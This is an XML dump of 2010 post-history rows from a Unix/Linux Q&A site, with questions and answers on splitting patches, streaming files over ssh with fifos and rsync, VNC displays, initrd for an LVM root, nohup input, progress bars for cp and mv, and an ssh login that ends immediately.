  <row Id="5311" PostHistoryTypeId="2" PostId="2561" RevisionGUID="c1fbda99-c66a-47ac-a002-07fb32dfc678" CreationDate="2010-09-30T21:00:28.690" UserId="1131" Text="Sometimes I need to split a big patch into smaller (disjoint) ones, e.g. for every separate feature included.&#xD;&#xA;&#xD;&#xA;Usually I do it via standard vim yank/dd commands and split-window switching.&#xD;&#xA;&#xD;&#xA;But are there some tools/vim-tricks to help with such kind of editing?&#xD;&#xA;&#xD;&#xA;For example support for commands like: move the 3  next complete hunks to right opened patch file" />
  <row Id="5312" PostHistoryTypeId="1" PostId="2561" RevisionGUID="c1fbda99-c66a-47ac-a002-07fb32dfc678" CreationDate="2010-09-30T21:00:28.690" UserId="1131" Text="How to split and edit patches?" />
  <row Id="5313" PostHistoryTypeId="3" PostId="2561" RevisionGUID="c1fbda99-c66a-47ac-a002-07fb32dfc678" CreationDate="2010-09-30T21:00:28.690" UserId="1131" Text="éeditorsàépatchà" />
  <row Id="5314" PostHistoryTypeId="2" PostId="2562" RevisionGUID="053aa3e8-a35d-4d8d-9f3c-418e3eedd332" CreationDate="2010-09-30T21:13:15.983" UserId="2080" Text="If I'm reading the question correctly, it sounds like you've got the ssh tunneling side of things down, but you want to run programs as your own user on your friend's machine, instead of running them in his session. There are many VNC servers (tightvnc is what I use, it's pretty solid) which create a virtual desktop running in the background, which you can then connect to, instead of connecting you to the session that's currently active on your friend's computer. &#xD;&#xA;&#xD;&#xA;Once you have tightvnc installed on your friend's machine, you can run &quot;tightvncserver :1&quot; to start the desktop on a different display, and then forward port 5901 (5900 + the display number) to your machine. &#xD;&#xA;&#xD;&#xA;Note that the default desktop is pretty spare; you can configure what runs when tightvnc starts in the ~/.vnc/xsession script on the remote machine." />
  <row Id="5315" PostHistoryTypeId="2" PostId="2563" RevisionGUID="b9395235-91d4-40ed-b736-8f6b6030fcf2" CreationDate="2010-09-30T21:18:59.953" UserId="1131" Text="You could use a fifo for it. For simplicity first without ssh only involving two xterms:&#xD;&#xA;&#xD;&#xA;At xterm A:&#xD;&#xA;&#xD;&#xA;    $ mkfifo fif&#xD;&#xA;    $ cat test.tar.gz &gt; fif&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;At xterm B:&#xD;&#xA;&#xD;&#xA;    $ cat fif &gt; dest.tar.gz&#xD;&#xA;    $ cmp test.tar.gz dest.tar.gz&#xD;&#xA;    $ echo $?&#xD;&#xA;    0&#xD;&#xA;&#xD;&#xA;With ssh it should be something along these lines - perhaps you have to disable the escape-character in ssh ... :&#xD;&#xA;&#xD;&#xA;client A:&#xD;&#xA;&#xD;&#xA;     $ ssh server mkfifo fif&#xD;&#xA;     $ cat src.tar.gz | ssh dd of=fif bs=4k&#xD;&#xA;&#xD;&#xA;client B:&#xD;&#xA;&#xD;&#xA;     $ ssh server cat fif &gt; dest.tar.gz&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5316" PostHistoryTypeId="2" PostId="2564" RevisionGUID="1faac0a4-bb3b-4402-84c0-28171e021380" CreationDate="2010-09-30T21:19:18.940" UserId="2080" Text="If you absolutely need virtualized performance, I've heard that VMWare does better than VBox, and I'm pretty sure it also supports graphics acceleration for Windows guests on Linux hosts. This might solve your performance problems with the XP guest.&#xD;&#xA;" />
  <row Id="5317" PostHistoryTypeId="5" PostId="2563" RevisionGUID="6ee4aba4-9e73-467d-bc5f-faeb824a997d" CreationDate="2010-09-30T21:24:14.437" UserId="1131" Comment="probably" Text="You could use a fifo for it. For simplicity first without ssh only involving two xterms:&#xD;&#xA;&#xD;&#xA;At xterm A:&#xD;&#xA;&#xD;&#xA;    $ mkfifo fif&#xD;&#xA;    $ cat test.tar.gz &gt; fif&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;At xterm B:&#xD;&#xA;&#xD;&#xA;    $ cat fif &gt; dest.tar.gz&#xD;&#xA;    $ cmp test.tar.gz dest.tar.gz&#xD;&#xA;    $ echo $?&#xD;&#xA;    0&#xD;&#xA;&#xD;&#xA;With ssh it should be something along these lines - probably you have to disable the escape-character in ssh (-e none):&#xD;&#xA;&#xD;&#xA;client A:&#xD;&#xA;&#xD;&#xA;     $ ssh server mkfifo fif&#xD;&#xA;     $ cat src.tar.gz | ssh dd of=fif bs=4k&#xD;&#xA;&#xD;&#xA;client B:&#xD;&#xA;&#xD;&#xA;     $ ssh server cat fif &gt; dest.tar.gz&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5318" PostHistoryTypeId="2" PostId="2565" RevisionGUID="bb046313-1b4e-4ca8-81c4-84e4c0a792cb" CreationDate="2010-09-30T21:27:00.350" UserId="33" Text="Somewhat off-topic, I guess but I still think it's useful.&#xD;&#xA;&#xD;&#xA;If you use git to do your development you can easily split your whole changes into smaller &quot;hunks&quot; that embody one feature each. You end up with one commit per feature and can use git's `git-format-patch` to create (and even sign and properly attribute) patches, I outlined how to do that [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://the-gay-bar.com/2009/02/10/git-tricks-commiting-only-certain-changes-from-one-file/" />
  <row Id="5319" PostHistoryTypeId="2" PostId="2566" RevisionGUID="cd78f6dc-eb32-43dc-ae2a-6b3e6ac4370d" CreationDate="2010-09-30T21:27:14.867" UserId="2080" Text="Btrfs has native support for snapshots, so you wouldn't have to use hard links for deduplication. You could recreate your current setup by creating a btrfs filesystem and loading it with the earliest revision that you need, and taking a snapshot, and then revving the repository forward to each point in time that you need a snapshot of and taking a snapshot at each step. This should be more efficient than hard links, and simpler to set up as well.&#xD;&#xA;&#xD;&#xA;I also think (though I'm far from sure of this) that squashfs deduplicates files transparently, so even if it doesn't handle hard links, you'd still see benefits. If you never need to change the data in the filesystem, then squashfs is probably the way to go, since fsck could then be replaced by md5sum ;)" />
  <row Id="5320" PostHistoryTypeId="2" PostId="2567" RevisionGUID="a49c7e3a-fa45-41af-a031-3e1c05f12475" CreationDate="2010-09-30T21:43:10.137" UserId="2080" Text="Yes, you need an initrd. Here's why:&#xD;&#xA;&#xD;&#xA;The normal boot process starts with the bootloader, which knows just enough about your system to find the kernel and run it. (GRUB2 is smart enough to find a kernel that's located on an LVM2 or RAID partition, but GRUB1 isn't, so it's usually recommended that you create /boot as a separate partition with a simplified layout.) Once it's loaded, the kernel needs to be able to find the root filesystem, so it can start the boot process. However, LVM can't start without being triggered by some userspace tools, which exist on the root filesystem, which can't be loaded without the LVM tools, which exist on the root filesystem... ;)&#xD;&#xA;&#xD;&#xA;To break this cycle, an initrd or initramfs is a compressed filesystem that's stored with the kernel (either in /boot, or inside the kernel itself), which contains just enough of a Linux system to start services such as LVM or MD or whatever else you want. It's a temporary filesystem, and only acts as your root filesystem long enough for the real root to be loaded.&#xD;&#xA;&#xD;&#xA;As far as actually making one, most documentation on the topic is staggeringly obsolete - lvm2create_initrd, for instance, doesn't even work on Gentoo anymore. (I set up the same thing a few months ago, and I had to all but rewrite the script before I got a working initrd from it.) Creating your own initramfs can be fun, and it's the only way to get an absolutely minimal boot process (and learn the ins and outs about how Linux boots in the process), but it's a lot of work.&#xD;&#xA;&#xD;&#xA;The short answer: use Dracut. It's a new framework that's being created for generating an initramfs in a mostly automated way, and it's in portage. The documentation is a bit sparse, but there's enough of it out there to figure things out, and it's by far the easiest way to get a solid initramfs, and an LVM root." />
  <row Id="5321" PostHistoryTypeId="5" PostId="2563" RevisionGUID="996f165d-199b-4c36-9abb-0771aa9c82ab" CreationDate="2010-09-30T21:46:22.890" UserId="1131" Comment="forgot tee !" Text="You could use a fifo for it. For simplicity first without ssh only involving two xterms:&#xD;&#xA;&#xD;&#xA;At xterm A:&#xD;&#xA;&#xD;&#xA;    $ mkfifo fif&#xD;&#xA;    $ cat test.tar.gz | tee copy.tar.gz &gt; fif&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;At xterm B:&#xD;&#xA;&#xD;&#xA;    $ cat fif &gt; dest.tar.gz&#xD;&#xA;    $ cmp test.tar.gz dest.tar.gz&#xD;&#xA;    $ echo $?&#xD;&#xA;    0&#xD;&#xA;    $ cmp test.tar.gz copy.tar.gz&#xD;&#xA;    $ echo $?&#xD;&#xA;    0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With ssh it should be something along these lines - perhaps you have to disable the escape-character in ssh (-e none):&#xD;&#xA;&#xD;&#xA;client A:&#xD;&#xA;&#xD;&#xA;     $ ssh server mkfifo fif&#xD;&#xA;     $ cat src.tar.gz | ssh &quot;tee fif &gt; copy.tar.gz&quot;&#xD;&#xA;&#xD;&#xA;client B:&#xD;&#xA;&#xD;&#xA;     $ ssh server cat fif &gt; dest.tar.gz&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5322" PostHistoryTypeId="5" PostId="2553" RevisionGUID="59cc0b3e-ca3f-4f66-8d9b-8681fea9189f" CreationDate="2010-09-30T22:19:06.657" UserId="1207" Comment="added 282 characters in body; added 4 characters in body" Text="Here is the situation:&#xD;&#xA;&#xD;&#xA;1. I am uploading a large file from client A to a server using sftp.&#xD;&#xA;2. I also need to download this file from the server to client B over ssh.&#xD;&#xA;&#xD;&#xA;What I would like to do is start the transfer from the server to client B when the upload is still happening from client A.&#xD;&#xA;&#xD;&#xA;What is the best method/tool to get this done?&#xD;&#xA;&#xD;&#xA;**UPDATE**:&#xD;&#xA;&#xD;&#xA;The answers so far are interesting--I'll be sure to read and test them all. Bonus points for answers that don't depend on controlling how Client A is uploading the file. (ie. the only thing we know from client A is that the file is being written to a known filename.)" />
  <row Id="5323" PostHistoryTypeId="2" PostId="2568" RevisionGUID="326d3be1-d0d7-4c8d-9b6e-f70d7a24407d" CreationDate="2010-09-30T22:52:10.263" UserId="4" Text="I have read about several shops which use a [DataDomain][1] for exactly that purpose.&#xD;&#xA;&#xD;&#xA;Your archival script can be very simple (tar or rsync and cron, for example), and you don't need to worry about anything managing hard links. No need for incremental copies, except to conserve bandwidth. All the magic happens underneath at the block layer. It's not unusual to host 15-20TB worth of virtual data while only using 1-2TB worth of real disk space. You'll still have plenty left over for your disk backups.&#xD;&#xA;&#xD;&#xA;The data would be served over NFS, but I'm not sure if that is a problem &#xD;&#xA;&#xD;&#xA;When FreeBSD gets ZFS v23, deduplication will be available for the rest of us.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.datadomain.com" />
  <row Id="5324" PostHistoryTypeId="2" PostId="2569" RevisionGUID="cd6f89c7-190c-4798-b470-2087eff5f413" CreationDate="2010-09-30T23:04:01.973" UserId="1942" Text="I'm not sure that the tail -f method works ( though it probably does if the file is text ).&#xD;&#xA;The reason is that I don't know how tail -f, and sftp transfer and rely on meta information.&#xD;&#xA;&#xD;&#xA;If sftp transfers the meta information first and tail -f relies on the meta information to tell it that there is no more file,  then tail may bad the end with EOFs or nulls.&#xD;&#xA;&#xD;&#xA;If you do not care about the path of upload ie Computer 1 uploads to computer 2 uploads to computer 3, then you might try top use bittorent instead of sftp. It seems that is what it was designed for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5325" PostHistoryTypeId="2" PostId="2570" RevisionGUID="442027f1-1383-4b74-9304-9561ef41cbd2" CreationDate="2010-10-01T01:11:01.693" UserDisplayName="Sandeep" Text="In UNIX, I have a process that I want to run using nohup. However this process will at some point wait at a prompt where I have to enter yes or no for it to continue. So far, in UNIX I have been doing the following&#xD;&#xA;&#xD;&#xA;nohup myprocess &lt;&lt;EOF&#xD;&#xA;y&#xD;&#xA;EOF&#xD;&#xA;So I start the process 'myprocess' using nohup and pipe in a file with 'y' then close the file. The lines above are effectively three seperate commands - i.e. I hit enter on the first line in UNIX, then I get a prompt where I enter 'y' and then press enter to then finally type 'EOF' and hit return again. So this works perfectly but my problem is below...&#xD;&#xA;&#xD;&#xA;I want to know execute this in Perl but I am not sure how I can execute this command as it is over three lines. I don't know if the following will work....&#xD;&#xA;&#xD;&#xA;my $startprocess = `nohup myprocess &lt;&lt;EOF &amp;&#xD;&#xA;y&#xD;&#xA;EOF&#xD;&#xA;`&#xD;&#xA;Please help - thank you!&#xD;&#xA;" />
  <row Id="5326" PostHistoryTypeId="1" PostId="2570" RevisionGUID="442027f1-1383-4b74-9304-9561ef41cbd2" CreationDate="2010-10-01T01:11:01.693" UserDisplayName="Sandeep" Text="Execute Nohup command with input" />
  <row Id="5327" PostHistoryTypeId="3" PostId="2570" RevisionGUID="442027f1-1383-4b74-9304-9561ef41cbd2" CreationDate="2010-10-01T01:11:01.693" UserDisplayName="Sandeep" Text="éunixàésolarisà" />
  <row Id="5328" PostHistoryTypeId="5" PostId="2570" RevisionGUID="09bd106e-e775-45ba-b195-e2ec99a6f5a6" CreationDate="2010-10-01T01:17:13.020" UserId="73" Comment="added 4 characters in body" Text="In UNIX, I have a process that I want to run using nohup. However this process will at some point wait at a prompt where I have to enter yes or no for it to continue. So far, in UNIX I have been doing the following&#xD;&#xA;&#xD;&#xA;    nohup myprocess &lt;&lt;EOF&#xD;&#xA;    y&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;So I start the process 'myprocess' using nohup and pipe in a file with 'y' then close the file. The lines above are effectively three seperate commands - i.e. I hit enter on the first line in UNIX, then I get a prompt where I enter 'y' and then press enter to then finally type 'EOF' and hit return again. So this works perfectly but my problem is below...&#xD;&#xA;&#xD;&#xA;I want to know execute this in Perl but I am not sure how I can execute this command as it is over three lines. I don't know if the following will work....&#xD;&#xA;&#xD;&#xA;    my $startprocess = `nohup myprocess &lt;&lt;EOF &amp;&#xD;&#xA;    y&#xD;&#xA;    EOF&#xD;&#xA;    `&#xD;&#xA;" />
  <row Id="5329" PostHistoryTypeId="2" PostId="2571" RevisionGUID="9dec7024-78fd-46af-987b-28229ce7c984" CreationDate="2010-10-01T01:19:35.213" UserId="73" Text="If you just want to write a single `y` to the stdin of the process, you can do this:&#xD;&#xA;&#xD;&#xA;    nohup echo y | myprocess &amp;&#xD;&#xA;&#xD;&#xA;If you want to keep writing `y` for every prompt that comes up, the coreutil `yes` exists for exactly this purpose -- it will keep writing whatever you tell it to to stdout. Its default is to output &quot;yes&quot;, but if you need &quot;y&quot; you can pass that as an argument:&#xD;&#xA;&#xD;&#xA;    nohup yes y | myprocess &amp;&#xD;&#xA;" />
  <row Id="5330" PostHistoryTypeId="2" PostId="2572" RevisionGUID="15995356-f415-46e7-b714-ef331e18ac17" CreationDate="2010-10-01T01:39:41.163" UserId="146" Text="You can use a proxy X server such as [DMX][1] or [XmetaX][2] that is a single X server for clients to connect to, but which &quot;draws&quot; by sending the images to multiple underlying X servers running on the hardware.   Moving a window from the screen on one computer to a screen on another would just change which X server the proxy is asking to draw it, not migrate the program to execute on another server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dmx.sourceforge.net/ &quot;Distributed Multihead X&quot;&#xD;&#xA;  [2]: http://www.x-software.com/en/products/xmetax/" />
  <row Id="5335" PostHistoryTypeId="2" PostId="2574" RevisionGUID="2b15151c-0457-488e-808b-f7e10328d46e" CreationDate="2010-10-01T03:35:08.817" UserDisplayName="delete" Text="If I start an X application from a terminal, the error messages go to the terminal. If I start them from a  GUI, where do the error messages go, or alternatively how are they dealt with?&#xD;&#xA;" />
  <row Id="5336" PostHistoryTypeId="1" PostId="2574" RevisionGUID="2b15151c-0457-488e-808b-f7e10328d46e" CreationDate="2010-10-01T03:35:08.817" UserDisplayName="delete" Text="Where do X error messages go?" />
  <row Id="5337" PostHistoryTypeId="3" PostId="2574" RevisionGUID="2b15151c-0457-488e-808b-f7e10328d46e" CreationDate="2010-10-01T03:35:08.817" UserDisplayName="delete" Text="éxorgà" />
  <row Id="5338" PostHistoryTypeId="5" PostId="2571" RevisionGUID="8b0eb02d-f94a-495a-9de7-3702a4f9b40d" CreationDate="2010-10-01T04:32:40.010" UserId="73" Comment="added 24 characters in body" Text="If you just want to write a single `y` to the stdin of the process, you can do this:&#xD;&#xA;&#xD;&#xA;    nohup echo y | myprocess &amp;&#xD;&#xA;&#xD;&#xA;If you want to keep writing `y` for every prompt that comes up, the coreutil `yes` exists for exactly this purpose -- it will keep writing whatever you tell it to to stdout. Its default is to output &quot;y&quot;, so you can just:&#xD;&#xA;&#xD;&#xA;    nohup yes | myprocess &amp;&#xD;&#xA;&#xD;&#xA;but if you need something else you can pass it as an argument&#xD;&#xA;" />
  <row Id="5339" PostHistoryTypeId="2" PostId="2575" RevisionGUID="af7f6aed-b3be-4eac-a2a7-1e6eecf74439" CreationDate="2010-10-01T04:50:29.867" UserId="2080" Text="They go to whatever terminal the X server was started from. If you boot to command line and then start X, you can see them by hopping back to that VT (hit Ctrl-Alt-F1). If you boot directly to X, I'm not sure where the messages show up by default; it may vary by distro." />
  <row Id="5340" PostHistoryTypeId="2" PostId="2576" RevisionGUID="5e542d14-4f53-4af3-8793-5645c395a30e" CreationDate="2010-10-01T05:27:43.030" UserId="2080" Text="My guess (based on my solution to what I'm pretty sure is the same problem) is that some application is locking your sound device. Flash and Pidgin have both been culprits on my gentoo box. Try running &quot;fuser /dev/snd/*&quot;, and killing any processes listed there. This might be enough to get your sound working again.&#xD;&#xA;&#xD;&#xA;(see also http://en.gentoo-wiki.com/wiki/PulseAudio#Troubleshooting)" />
  <row Id="5341" PostHistoryTypeId="2" PostId="2577" RevisionGUID="044e4c1a-5fcb-4afd-912c-c35cfad18e3a" CreationDate="2010-10-01T06:11:35.957" UserId="2088" Text="When moving large directories using &quot;mv&quot;, is there a way to view the progress(%) ?&#xD;&#xA;The cp command on gentoo had a &quot;-g&quot; switch to show progress ?" />
  <row Id="5342" PostHistoryTypeId="1" PostId="2577" RevisionGUID="044e4c1a-5fcb-4afd-912c-c35cfad18e3a" CreationDate="2010-10-01T06:11:35.957" UserId="2088" Text="move files with progress bar" />
  <row Id="5343" PostHistoryTypeId="3" PostId="2577" RevisionGUID="044e4c1a-5fcb-4afd-912c-c35cfad18e3a" CreationDate="2010-10-01T06:11:35.957" UserId="2088" Text="érenameàécpà" />
  <row Id="5344" PostHistoryTypeId="2" PostId="2578" RevisionGUID="4ec38ca9-64ca-496c-8781-8f5911baf637" CreationDate="2010-10-01T07:08:57.230" UserId="33" Text="Usually all generic X errors (and those of some applications) go to the file `~/.xsession-errors`." />
  <row Id="5345" PostHistoryTypeId="2" PostId="2579" RevisionGUID="6e452c93-0f2e-41b6-ad76-a859d848aaf9" CreationDate="2010-10-01T07:17:38.490" UserId="1941" Text="You can build a patched cp and mv which then both support the -g switch to show progress. There are instructions and patches at [this page][1]. **However**: The page instructs you to do&#xD;&#xA;&#xD;&#xA;    $ sudo cp src/cp /usr/bin/cp&#xD;&#xA;    $ sudo cp src/mv /usr/bin/mv&#xD;&#xA;&#xD;&#xA;which overwrites the original cp and mv. This has two disadvantages: Firstly, if an updated coreutils package arrives at your system, they are overwritten. Secondly, if the patched version has a problem, they might break scripts relying on standard cp and mv. I would rather do something like this:&#xD;&#xA;&#xD;&#xA;    $ sudo cp src/cp /usr/local/bin/cpg&#xD;&#xA;    $ sudo cp src/mv /usr/local/bin/mvg&#xD;&#xA;&#xD;&#xA;which copies the files to /usr/local/bin which is intended for user compiled programs and gives them a different name. So when you want a progress bar, you say `mvg -g bigfile /mnt/backup` and use mv normally.&#xD;&#xA;&#xD;&#xA;Also you can do `alias mvg=&quot;/usr/local/mvg -g&quot;` then you only need to say `mvg bigfile /mnt/backup` and directly get the progress bar.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.beatex.org/web/advancedcopy.html&#xD;&#xA;" />
  <row Id="5346" PostHistoryTypeId="5" PostId="2557" RevisionGUID="c390d8cf-9d51-4264-ba08-a8536a315fea" CreationDate="2010-10-01T07:21:44.870" UserId="1941" Comment="Fixed answer" Text="I can't try it at the moment, so this might well fail: My idea is this: Mount the directory where the file is arriving in client B, e.g. with sshfs to /mnt/server in the filesystem of client b. Then&#xD;&#xA;&#xD;&#xA;    tail -c +0 -f /mnt/server/thefileinquestion &gt; ~/finalfile" />
  <row Id="5347" PostHistoryTypeId="2" PostId="2580" RevisionGUID="939b0c59-7686-4508-918b-0d6f2c348d9a" CreationDate="2010-10-01T07:50:14.093" UserId="173" Text="You might want to take a look into patchutils [1]. For the vim part, I wrote a small vim plugin that helps with navigating in patches: diff_navigator [2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1] http://cyberelk.net/tim/software/patchutils/&#xD;&#xA;&#xD;&#xA;[2] (I can't post the link because stackexchange.com thinks I'm a spammer. Google for &quot;diff_navigator&quot;)" />
  <row Id="5348" PostHistoryTypeId="2" PostId="2581" RevisionGUID="97ac5c0d-343c-4b75-a586-b4c3f4e2ef42" CreationDate="2010-10-01T09:22:51.180" UserId="1339" Text="I dont like the idea to overwrite binarys from coreutil when there are simpler solutions, so here are mine:&#xD;&#xA;&#xD;&#xA;**rsync**: Rsync copies files and has a `-P` switch for a progress bar. So if you have rsync installed, you could use a simple alias in your shells dotfile:&#xD;&#xA;&#xD;&#xA;    alias cp='rsync -aP'&#xD;&#xA;&#xD;&#xA;The downside is, that rsync is a little bit slower than cp, but you should messure this with time and decide for your self, I can live with it :-)&#xD;&#xA;&#xD;&#xA;**Shell Script**: A shell script can also create the progress bar. I found this a while ago on the net and I don't remember the source:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    cp_p()&#xD;&#xA;    {&#xD;&#xA;       strace -q -ewrite cp -- &quot;${1}&quot; &quot;${2}&quot; 2&gt;&amp;1 \&#xD;&#xA;          | awk '{&#xD;&#xA;            count += $NF&#xD;&#xA;                if (count % 10 == 0) {&#xD;&#xA;                   percent = count / total_size * 100&#xD;&#xA;                   printf &quot;%3d%% [&quot;, percent&#xD;&#xA;                   for (i=0;i&lt;=percent;i++)&#xD;&#xA;                      printf &quot;=&quot;&#xD;&#xA;                   printf &quot;&gt;&quot;&#xD;&#xA;                   for (i=percent;i&lt;100;i++)&#xD;&#xA;                      printf &quot; &quot;&#xD;&#xA;                   printf &quot;]\r&quot;&#xD;&#xA;                }&#xD;&#xA;             }&#xD;&#xA;             END { print &quot;&quot; }' total_size=$(stat -c '%s' &quot;${1}&quot;) count=0&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This will look like:&#xD;&#xA;&#xD;&#xA;    % cp_p /home/echox/foo.dat /home/echox/bar.dat&#xD;&#xA;    66% [===============================&gt;                      ]&#xD;&#xA;&#xD;&#xA;**bar**:&#xD;&#xA;&#xD;&#xA;&gt; ‘bar’ - ‘cat’ with ASCII progress bar&#xD;&#xA;&#xD;&#xA;`bar` is a small shellscript to display a process bar for all kind of operations (cp, tar, etc.). You can find examples on the [project homepage.][1]&#xD;&#xA;&#xD;&#xA;Its also written for the bourne shell, so it will run nearby everywhere.&#xD;&#xA;  [1]: http://www.theiling.de/projects/bar.html" />
  <row Id="5349" PostHistoryTypeId="6" PostId="2574" RevisionGUID="40f75946-1ecd-4113-b876-3d2ef849dfec" CreationDate="2010-10-01T09:32:28.653" UserId="1339" Comment="edited tags" Text="éxorgàélogsà" />
  <row Id="5350" PostHistoryTypeId="2" PostId="2582" RevisionGUID="bea2ccd8-d5cb-4f2c-95d1-eb22b5b63569" CreationDate="2010-10-01T10:11:30.610" UserId="274" Text="Since you're running Ubuntu, can't you just install a JRE that comes from Ubuntu repositories?  E.g., `sudo apt-get install sun-java6-jre` (which is presently at version `6.20dlj-1ubuntu3`).&#xD;&#xA;&#xD;&#xA;If you still need to go down the RPM route, you have two options:&#xD;&#xA;&#xD;&#xA;1. tell `rpm` to ignore those dependencies (`rpm --nodeps -i ...`), since all those listed are&#xD;&#xA;   programs that are already installed on a standard Ubuntu system.&#xD;&#xA;   (The only mismatch is `gawk`, which is `/usr/bin/gawk` on Ubuntu,&#xD;&#xA;   but `/bin/gawk` in the dependency output; you can either make&#xD;&#xA;   symlink -to be on the safe side- or just ignore it and hope the&#xD;&#xA;   JRE scripts do not hard-code the path to `gawk`.)&#xD;&#xA;&#xD;&#xA;2. Use [alien](http://kitenet.net/~joey/code/alien/) (`sudo apt-get install alien`) to convert the `.rpm`&#xD;&#xA;   file into a `.deb` one; this should also fix dependencies or let&#xD;&#xA;   you correct them.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5351" PostHistoryTypeId="5" PostId="2558" RevisionGUID="09435cd1-7b72-4447-ad72-d8d0f7fbd58b" CreationDate="2010-10-01T11:09:34.580" UserId="116" Comment="Improved grammar+clarity" Text="For a single file instead of using SFTP you could pipe the file over ssh using `cat` or `pv` at the sending side and using `tee` on the middle server to both send the data to a file there and send a copy over the another ssh link the other side of which just writes the data to a file. The exact voodoo required I'll leave as an exercise for the reader, as I've not got time to play right now (sorry). This method would only work if the second destination is publicly accessible via SSH which may not be the case as you describe it as a client machine.&#xD;&#xA;&#xD;&#xA;Another approach, which is less &quot;run and wait&quot; but may otherwise be easier, it to use `rsync` between the server and client B. The first time you run this it may get a partial copy of the data, but you can just re-run it to get more data afterwards (with one final run once the Client1-&gt;Server transfer is complete). This will only work if the server puts the data direct into the right file-name during the SFTP transfer (sometimes you will see the data going into a temporary file which is then renamed once the file is completely transferred - this is done to make the file update more atomic but will render the rsync idea unusable). You could also use rsync for the C1-&gt;S transfer instead of scp (if you use the `--inplace` option to avoid the problem mentioned above) - using rsync would also give you protection against needing to resend everything if the C1-&gt;Server connection experiences problems during a large transfer (I tend to use `rsync --inplace -a --progress &lt;source&gt; &lt;dest&gt;` instead of scp/sftp when rsync is available, for this &quot;transfer resume&quot; behaviour).&#xD;&#xA;&#xD;&#xA;To summarise the above, running:&#xD;&#xA;&#xD;&#xA;    rsync --inplace -a --progress &lt;source&gt; user@server:/&lt;destination_file_or_folder&gt;&#xD;&#xA;on client1 then running&#xD;&#xA;&#xD;&#xA;    rsync --inplace -a --progress user@server:/&lt;destination_file_or_folder&gt; &lt;destination_on_cli2&gt;&#xD;&#xA;on client2 repeatedly until the first transfer is complete (then running once more to make sure you've got everything). `rsync` is very good at only transferring the absolute minimum it needs to update a location instead of transferring the whole lot each time. For paranoia you might want to add the `--checksum` option to the rsync commands (which will take much more CPU time for large files but won't result in more data being transfer unless it is needed) and for speed the `--compress` option will help if the data you are transferring is not already in a compressed format." />
  <row Id="5352" PostHistoryTypeId="6" PostId="2570" RevisionGUID="0cdf5d29-5e04-4d19-8203-8e11dbfd2a38" CreationDate="2010-10-01T12:22:48.263" UserId="601" Comment="edited tags" Text="éunixàéperlà" />
  <row Id="5353" PostHistoryTypeId="5" PostId="2571" RevisionGUID="751f314b-1ef5-446e-b683-35e9517e56c4" CreationDate="2010-10-01T14:18:16.427" UserId="73" Comment="added 4 characters in body" Text="If you just want to write a single `y` to the stdin of the process, you can do this:&#xD;&#xA;&#xD;&#xA;    (echo y | nohup myprocess) &amp;&#xD;&#xA;&#xD;&#xA;If you want to keep writing `y` for every prompt that comes up, the coreutil `yes` exists for exactly this purpose -- it will keep writing whatever you tell it to to stdout. Its default is to output &quot;y&quot;, so you can just:&#xD;&#xA;&#xD;&#xA;    (yes | nohup myprocess) &amp;&#xD;&#xA;&#xD;&#xA;but if you need something else you can pass it as an argument&#xD;&#xA;" />
  <row Id="5354" PostHistoryTypeId="2" PostId="2583" RevisionGUID="b0c6c46f-cca5-4703-a543-3e64dd7f4989" CreationDate="2010-10-01T14:31:34.903" UserId="674" Text="Does anyone know why I am kicked out  immediately after everytime I log in? Here is the output:&#xD;&#xA;&#xD;&#xA;&gt; $ ssh tim@xxxx.xxx.xxx.xxx&#xD;&#xA;&#xD;&#xA;&gt; Password: &#xD;&#xA;&#xD;&#xA;&gt; Linux xxxx 2.6.32-24-server #43-Ubuntu SMP Thu Sep 16 16:05:42 UTC 2010 x86_64 GNU/Linux&#xD;&#xA;Ubuntu 10.04.1 LTS&#xD;&#xA;&gt; &#xD;&#xA;&gt; Welcome to the Ubuntu Server!&#xD;&#xA;&#xD;&#xA;&gt;  * Documentation:  http://www.ubuntu.com/server/doc&#xD;&#xA;&#xD;&#xA;&gt; You have mail.&#xD;&#xA;&#xD;&#xA;&gt; Last login: Fri Oct  1 10:24:01 2010 from xxxx.xxx.xxx&#xD;&#xA;&#xD;&#xA;&gt; You are not authorized to log into this server&#xD;&#xA;&gt; &#xD;&#xA;&gt; Connection to xxxx.xxx.xxx.xxx closed.&#xD;&#xA;&#xD;&#xA;If I am indeed not authorized to log into this server, why I receive the typical information upon logging in, such as the information about the server, the welcome message and the last time I logged in?&#xD;&#xA;&#xD;&#xA;How can I solve this problem?&#xD;&#xA;&#xD;&#xA;Thanks and regards!&#xD;&#xA;" />
  <row Id="5355" PostHistoryTypeId="1" PostId="2583" RevisionGUID="b0c6c46f-cca5-4703-a543-3e64dd7f4989" CreationDate="2010-10-01T14:31:34.903" UserId="674" Text="Being kicked out upon logging in using ssh" />
  <row Id="5356" PostHistoryTypeId="3" PostId="2583" RevisionGUID="b0c6c46f-cca5-4703-a543-3e64dd7f4989" CreationDate="2010-10-01T14:31:34.903" UserId="674" Text="ésshà" />
  <row Id="5357" PostHistoryTypeId="2" PostId="2584" RevisionGUID="1915708a-572d-43ff-9570-3259e8c8fb57" CreationDate="2010-10-01T14:36:47.963" UserId="601" Text="Probably because your shell has been switched to something that prints that message and exits afterwards. In that case, SSH will behave just as usual and display any welcome message, biff, etc." />
  <row Id="5358" PostHistoryTypeId="2" PostId="2585" RevisionGUID="e44226a7-9956-45f5-a1cb-9e68319ff9c2" CreationDate="2010-10-01T14:58:28.110" UserId="102" Text="A google search shows someone might be using this script :-)&#xD;&#xA;&#xD;&#xA;http://ubuntuforums.org/showthread.php?t=1545205&#xD;&#xA;&#xD;&#xA;The default shell is replaced by a script looking for the username in an “allowed users“ file and either starts a standard bash or displays this message and exits." />
